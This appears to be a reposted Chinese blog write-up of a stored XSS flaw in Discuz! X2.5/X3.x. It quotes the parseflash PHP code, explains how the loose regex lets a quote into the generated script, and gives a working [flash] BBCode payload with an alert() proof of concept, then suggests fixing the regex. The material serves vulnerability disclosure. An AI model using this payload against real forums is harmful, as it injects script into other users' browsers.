文章出處

影響官方最新x2.5,x3.x,聽說漏洞收藏太久會發霉。

需要開啟多媒體代碼功能(這個目前很多大站開啟了)

source\function\function_discuzcode.php

if(strpos($msglower, '[/flash]') !== FALSE) {$message = preg_replace("/\[flash(=(\d+),(\d+))?\]\s*([^\[\<\r\n]+?)\s*\[\/flash\]/ies", $allowmediacode ? "parseflash('\\2', '\\3', '\\4');" : "bbcodeurl('\\4', '{url}')", $message);}

跟蹤

parseflash

function parseflash($w, $h, $url) {$w = !$w ? 550 : $w;$h = !$h ? 400 : $h;preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);$url = $matches[0];$randomid = 'swf_'.random(3);if(fileext($url) != 'flv') {return '<script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', encodeURI(\''.$url.'\'), \'quality\', \'high\', \'bgcolor\', \'#ffffff\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';} else {return '<script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', \''.STATICURL.'image/common/flvplayer.swf\', \'flashvars\', \'file='.rawurlencode($url).'\', \'quality\', \'high\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';}}

可以看出

preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);

正則處理不當

(\?.+)

從而可以帶進“'”

到 encodeURI(\''.$url.'\'),從而造成存儲型xss

內容中提交
 

[flash]http://localhost/flash.swf?'+alert(0)+'[/flash]

\


下面是 x25的

\

大站實例

\

解決方案:

修正正則.

就愛閱讀www.92to.com網友整理上傳,為您提供最全的知識大全,期待您的分享,轉載請注明出處。
歡迎轉載:http://www.kanwencang.com/bangong/20161116/56131.html

文章列表


不含病毒。www.avast.com
arrow
arrow
    全站熱搜
    創作者介紹
    創作者 大師兄 的頭像
    大師兄

    IT工程師數位筆記本

    大師兄 發表在 痞客邦 留言(0) 人氣()